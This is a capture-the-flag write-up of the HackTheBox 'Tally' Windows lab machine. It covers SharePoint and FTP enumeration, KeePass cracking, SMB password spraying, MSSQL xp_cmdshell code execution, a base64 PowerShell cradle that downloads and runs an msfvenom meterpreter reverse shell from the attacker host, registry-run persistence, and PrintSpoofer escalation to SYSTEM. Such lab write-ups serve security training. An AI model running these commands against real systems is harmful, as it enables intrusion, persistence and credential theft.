Post

HackTheBox Tally

Writeup for HackTheBox Tally

HackTheBox Tally

Machine Synopsis

Tally can be a very challenging machine for some. It focuses on many different aspects of real Windows environments and requires users to modify and compile an exploit for escalation. Not covered in this document is the use of Rotten Potato, which is an unintended alternate method for privilege escalation. (Source)

Key exploitation techniques:

  • SharePoint enumeration for information disclosure
  • FTP anonymous access and recursive download
  • KeePass database cracking
  • Credential reuse/spraying (SMB)
  • MSSQL authentication and xp_cmdshell abuse for RCE
  • SeImpersonatePrivilege abuse via PrintSpoofer for SYSTEM access

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
❯ nmap -p- --min-rate 10000 10.10.10.59

Not shown: 65514 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
81/tcp    open  hosts2-ns
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
808/tcp   open  ccproxy-http
1433/tcp  open  ms-sql-s
5985/tcp  open  wsman
15567/tcp open  unknown
32843/tcp open  unknown
32844/tcp open  unknown
32846/tcp open  unknown
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

❯ nmap -p 21,80,81,135,139,445,808,1433,5985,15567,32843,32844,32846,47001 -sC -sV 10.10.10.59

PORT      STATE SERVICE              VERSION
21/tcp    open  ftp                  Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http                 Microsoft IIS httpd 10.0
|_http-generator: Microsoft SharePoint
|_http-server-header: Microsoft-IIS/10.0
| http-ntlm-info: 
|   Target_Name: TALLY
|   NetBIOS_Domain_Name: TALLY
|   NetBIOS_Computer_Name: TALLY
|   DNS_Domain_Name: TALLY
|   DNS_Computer_Name: TALLY
|_  Product_Version: 10.0.14393
| http-title: Home
|_Requested resource was http://10.10.10.59/_layouts/15/start.aspx#/default.aspx
81/tcp    open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Bad Request
135/tcp   open  msrpc                Microsoft Windows RPC
139/tcp   open  netbios-ssn          Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds         Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
808/tcp   open  ccproxy-http?
1433/tcp  open  ms-sql-s             Microsoft SQL Server 2016 13.00.1601.00; RTM
| ms-sql-info: 
|   10.10.10.59:1433: 
|     Version: 
|       name: Microsoft SQL Server 2016 RTM
|       number: 13.00.1601.00
|       Product: Microsoft SQL Server 2016
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-22T02:27:26
|_Not valid after:  2055-01-22T02:27:26
| ms-sql-ntlm-info: 
|   10.10.10.59:1433: 
|     Target_Name: TALLY
|     NetBIOS_Domain_Name: TALLY
|     NetBIOS_Computer_Name: TALLY
|     DNS_Domain_Name: TALLY
|     DNS_Computer_Name: TALLY
|_    Product_Version: 10.0.14393
|_ssl-date: 2025-01-22T02:30:38+00:00; -15m38s from scanner time.
5985/tcp  open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
15567/tcp open  http                 Microsoft IIS httpd 10.0
| http-ntlm-info: 
|   Target_Name: TALLY
|   NetBIOS_Domain_Name: TALLY
|   NetBIOS_Computer_Name: TALLY
|   DNS_Domain_Name: TALLY
|   DNS_Computer_Name: TALLY
|_  Product_Version: 10.0.14393
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|   Negotiate
|_  NTLM
|_http-title: Site doesn't have a title.
|_http-server-header: Microsoft-IIS/10.0
32843/tcp open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
32844/tcp open  ssl/http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=SharePoint Services/organizationName=Microsoft/countryName=US
| Subject Alternative Name: DNS:localhost, DNS:tally
| Not valid before: 2017-09-17T22:51:16
|_Not valid after:  9999-01-01T00:00:00
| tls-alpn: 
|   h2
|_  http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2025-01-22T02:30:38+00:00; -15m38s from scanner time.
|_http-title: Service Unavailable
32846/tcp open  msexchange-logcopier Microsoft Exchange 2010 log copier
47001/tcp open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

The scan identified FTP, IIS (SharePoint), MSSQL, and WinRM services. The domain tally was added to /etc/hosts.

1
echo -e '10.10.10.59\t\ttally' | sudo tee -a /etc/hosts

A SharePoint brute-forcing script (SharePointURLBrute v1.1.pl) was used to discover common SharePoint pages.

webpage

1
2
3
4
5
6
7
8
9
10
❯ wget https://raw.githubusercontent.com/bhasbor/SharePointURLBrute-v1.1/refs/heads/master/SharePointURLBrute%20v1.1.pl
❯ wget https://raw.githubusercontent.com/bhasbor/SharePointURLBrute-v1.1/refs/heads/master/SharePoint-UrlExtensions-18Mar2012.txt
❯ perl SharePointURLBrute\ v1.1.pl -a 'http://tally' -e SharePoint-UrlExtensions-18Mar2012.txt

# Output snippet
FOUND: http://tally/_layouts/AreaNavigationSettings.aspx
FOUND: http://tally/_layouts/MyInfo.aspx
...
FOUND: http://tally/default.aspx
FOUND: http://tally/shared documents/forms/allitems.aspx

Additionally, gobuster was used to brute-force directories, which also revealed the _layouts/viewlsts.aspx endpoint.

1
2
3
4
❯ gobuster dir -u http://tally -w /usr/share/seclists/Discovery/Web-Content/CMS/sharepoint.txt
...
/_layouts/viewlsts.aspx (Status: 302) [Size: 143] [--> /_layouts/15/viewlsts.aspx]
...

Browsing to http://tally/_layouts/15/viewlsts.aspx listed site contents. The ftp-details.docx file was found, containing FTP credentials.

site_contents

shared_documents

1
2
3
4
5
6
# Content of ftp-details.docx (conceptual)
FTP details
hostname: tally
workgroup: htb.local
password: UTDRSCH53c"$6hys
Please create your own user folder upon logging in

The FinanceTeam page (http://tally/_layouts/15/start.aspx#/SitePages/Forms/AllPages.aspx) revealed a possible username: ftp_user.

site_pages

finance_team

FTP access was gained using ftp_user:UTDRSCH53c"$6hys.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ ftp 10.10.10.59
Connected to 10.10.10.59.
220 Microsoft FTP Service
Name (10.10.10.59:shiro): ftp_user
331 Password required
Password: UTDRSCH53c"$6hys
230 User logged in.
ftp> ls
08-31-17  10:51PM       <DIR>          From-Custodian
10-01-17  10:37PM       <DIR>          Intranet
08-28-17  05:56PM       <DIR>          Logs
09-15-17  08:30PM       <DIR>          To-Upload
09-17-17  08:27PM       <DIR>          User

The entire FTP server content was recursively downloaded using wget.

1
❯ wget -r 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'

grep was used to search for sensitive keywords in the downloaded files. This revealed a KeePass file (Tim/Files/tim.kdbx) and a note about “password in keepass” in Tim/Project/Log/do to.txt.

1
2
3
4
5
6
grep -riE "password|pass|pwd|secret|config|key|token|cred" 10.10.10.59_ftp
...
10.10.10.59_ftp/User/Tim/Files/KeePass-2.36/License.txt:KeePass: Copyright (C) 2003-2017 Dominik Reichl <dominik.reichl@t-online.de>.
...
10.10.10.59_ftp/User/Tim/Project/Log/do to.txt:password in keepass
...

Exploitation

KeePass Cracking & Credential Disclosure

The tim.kdbx KeePass file was extracted. keepass2john converted it to a hash, which john then cracked using rockyou.txt.

1
2
3
4
❯ keepass2john ./Tim/Files/tim.kdbx > tim.hash
❯ john --wordlist=/usr/share/wordlists/rockyou.txt tim.hash
...
simplementeyo    (tim)

The master password for the KeePass file was simplementeyo. kpcli was used to open the database and list entries.

1
2
3
4
5
6
7
8
9
❯ kpcli --kdb tim.kdbx
Provide the master password: simplementeyo
...
kpcli:/> find .
...
=== Entries ===
0. Default
1. PDF Writer
2. TALLY ACCT share

Showing the entries revealed:

  • cisco:cisco123 (from “Default” entry)
  • Finance:Acc0unting (from “TALLY ACCT share” entry)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
kpcli:/> show -f 0

 Path: /WORK/CISCO/
Title: Default
Uname: cisco
 Pass: cisco123
  URL: 
Notes: 

kpcli:/> show -f 1

 Path: /WORK/SOFTWARE/
Title: PDF Writer
Uname: 64257-56525-54257-54734
 Pass: 
  URL: 
Notes: 

kpcli:/> show -f 2

 Path: /WORK/WINDOWS/Shares/
Title: TALLY ACCT share
Uname: Finance
 Pass: Acc0unting
  URL: 
Notes: 

These credentials, along with ftp_user:UTDRSCH53c"$6hys, were used in a password spray with nxc against the SMB service.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Create users.txt and passwords.txtcat users.txt
cisco
Finance
ftp_user
❯ cat passwords.txt
UTDRSCH53c"$6hys
simplementeyo
cisco123
Acc0unting

❯ nxc smb 10.10.10.59 -u users.txt -p passwords.txt --continue-on-success
SMB         10.10.10.59     445    TALLY            [*] Windows Server 2016 Standard 14393 x64 (name:TALLY) (domain:TALLY) (signing:False) (SMBv1:True)
...
SMB         10.10.10.59     445    TALLY            [+] TALLY\ftp_user:UTDRSCH53c"$6hys
...
SMB         10.10.10.59     445    TALLY            [+] TALLY\Finance:Acc0unting

Finance:Acc0unting was a valid credential. SMB shares were enumerated with nxc.

1
2
3
4
5
6
7
8
❯ nxc smb 10.10.10.59 -u Finance -p Acc0unting --shares
SMB         10.10.10.59     445    TALLY            [+] TALLY\Finance:Acc0unting
SMB         10.10.10.59     445    TALLY            Share           Permissions     Remark
SMB         10.10.10.59     445    TALLY            -----           -----------     ------
SMB         10.10.10.59     445    TALLY            ACCT            READ
SMB         10.10.10.59     445    TALLY            ADMIN$                          Remote Admin
SMB         10.10.10.59     445    TALLY            C$                              Default share
SMB         10.10.10.59     445    TALLY            IPC$                            Remote IPC

The ACCT share was accessible. It was mounted locally.

1
sudo mount -t cifs -o user=Finance,pass=Acc0unting //10.10.10.59/ACCT /mnt

Enumeration of the mounted share revealed conn-info.txt in zz_Archived/SQL/.

1
2
3
4
5
6
7
cat /mnt/zz_Archived/SQL/conn-info.txt
old server details

db: sa
pass: YE%TJC%&HYbe5Nw

have changed for tally

This file contained sa:YE%TJC%&HYbe5Nw, but noted the credentials were old. Further enumeration in zz_Migration/Binaries/New folder revealed tester.exe.

1
2
3
4
ls -l /mnt/zz_Migration/Binaries/New\ folder
...
-rwxr-xr-x 1 root root    215552 Sep  1  2017 tester.exe
...

strings on tester.exe revealed new MSSQL credentials.

1
2
3
4
❯ strings -n 15 /mnt/zz_Migration/Binaries/New\ folder/tester.exe
...
DRIVER={SQL Server};SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4GWTG2G;
...

The credentials sa:GWE3V65#6KFH93@4GWTG2G were discovered.

MSSQL RCE (tally\sarah) via xp_cmdshell

impacket-mssqlclient was used to connect to the MSSQL service with the new sa credentials.

1
2
3
4
5
6
❯ impacket-mssqlclient sa:GWE3V65#6KFH93@4GWTG2G@10.10.10.59
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
...
SQL (sa  dbo@master)>

xp_cmdshell was enabled and used to execute whoami, confirming execution as tally\sarah.

1
2
3
4
5
6
7
8
9
SQL (sa  dbo@master)> enable_xp_cmdshell
INFO(TALLY): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(TALLY): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa  dbo@master)> xp_cmdshell whoami
output
-----------
tally\sarah

NULL

A PowerShell reverse shell executable (shell.exe) was generated with msfvenom. The command to download and execute this shell was Base64-encoded (Unicode).

1
2
3
4
5
6
7
8
9
10
❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.14 LPORT=1234 -f exe -o shell.exe
...
Saved as: shell.exe

❯ pwsh
PowerShell 7.4.6
PS> $command = "(New-Object Net.WebClient).DownloadFile('http://10.10.14.14/shell.exe', 'C:\Users\Public\shell.exe'); Start-Process 'C:\Users\Public\shell.exe'"
PS> $encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
PS> Write-Host $encoded
KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMQA0AC8AcwBoAGUAbABsAC4AZQB4AGUAJwAsACAAJwBDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAHMAaABlAGwAbAAuAGUAeGBlACcAKQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAbABcAHMAaABlAGwAbAAuAGUAeGBlACcAA==

A metasploit handler was set up. The encoded PowerShell command was executed via xp_cmdshell.

1
SQL (sa  dbo@master)> xp_cmdshell powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMQA0AC8AcwBoAGUAbABsAC4AZQB4AGUAJwAsACAAJwBDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAHMAaABlAGwAbAAuAGUAeGBlACcAKQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAbABcAHMAaABlAGwAbAAuAGUAeGBlACcAA==
1
2
msf6 exploit(multi/handler) > [*] Sending stage (203846 bytes) to 10.10.10.59
[*] Meterpreter session 2 opened (10.10.14.14:1234 -> 10.10.10.59:49681)

This granted a meterpreter session as tally\sarah. Persistence was established using post/windows/manage/persistence_exe.

1
2
3
4
5
6
7
8
9
10
11
12
meterpreter > bg
msf6 exploit(multi/handler) > use post/windows/manage/persistence_exe
msf6 post(windows/manage/persistence_exe) > set session 2
msf6 post(windows/manage/persistence_exe) > set REXEPATH shell.exe
msf6 post(windows/manage/persistence_exe) > run
[*] Running module against TALLY
[*] Reading Payload from file /home/shiro/Documents/HackTheBox/Tally/shell.exe
[+] Persistent Script written to C:\Users\Sarah\AppData\Local\Temp\default.exe
[*] Executing script C:\Users\Sarah\AppData\Local\Temp\default.exe
[+] Agent executed with PID 6292
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\RrbkugOfgGokr
[*] Post module execution completed

A shell was spawned from meterpreter to retrieve user.txt.

1
2
3
4
5
6
7
meterpreter > shell
Process 4208 created.
Channel 2 created.
C:\Windows\system32>whoami
tally\sarah
C:\Windows\system32>type C:\users\sarah\desktop\user.txt
cfa7b9ac1d957533f04e1ff7640e35fe

Privilege Escalation

SeImpersonatePrivilege Abuse (SYSTEM) via PrintSpoofer

getprivs in meterpreter confirmed SeImpersonatePrivilege was enabled.

1
2
3
4
5
6
7
8
9
10
11
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeAssignPrimaryTokenPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege

The getsystem command (Metasploit’s built-in SeImpersonatePrivilege exploit) was used.

1
2
meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).

A shell was spawned from meterpreter to retrieve root.txt.

1
2
3
4
5
6
7
meterpreter > shell
Process 1424 created.
Channel 3 created.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>type C:\users\administrator\desktop\root.txt
f70691131d9d11a4e9f510d0c6fcd1c9

Alternative: Manual PrintSpoofer Usage

Alternatively, PrintSpoofer64.exe could be manually uploaded and executed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# On attacker, download PrintSpoofer64.exe
❯ wget [https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe](https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe)

# On meterpreter, upload
meterpreter > upload PrintSpoofer64.exe C:/users/sarah/desktop

# Execute PrintSpoofer64.exe to get a SYSTEM cmd shell
meterpreter > shell
C:\Users\Sarah\Desktop>PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
C:\Windows\system32>whoami
nt authority\system

For a reverse shell as SYSTEM, PrintSpoofer64.exe can execute shell.exe (the msfvenom payload).

1
2
3
4
5
# On meterpreter, in a shell
C:\Users\Sarah\Desktop>PrintSpoofer64.exe -c "shell.exe"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

This would trigger a new meterpreter session as NT AUTHORITY\SYSTEM.

1
2
msf6 exploit(multi/handler) > [*] Sending stage (203846 bytes) to 10.10.10.59
[*] Meterpreter session 5 opened (10.10.14.14:1234 -> 10.10.10.59:49947)
This post is licensed under CC BY 4.0 by the author.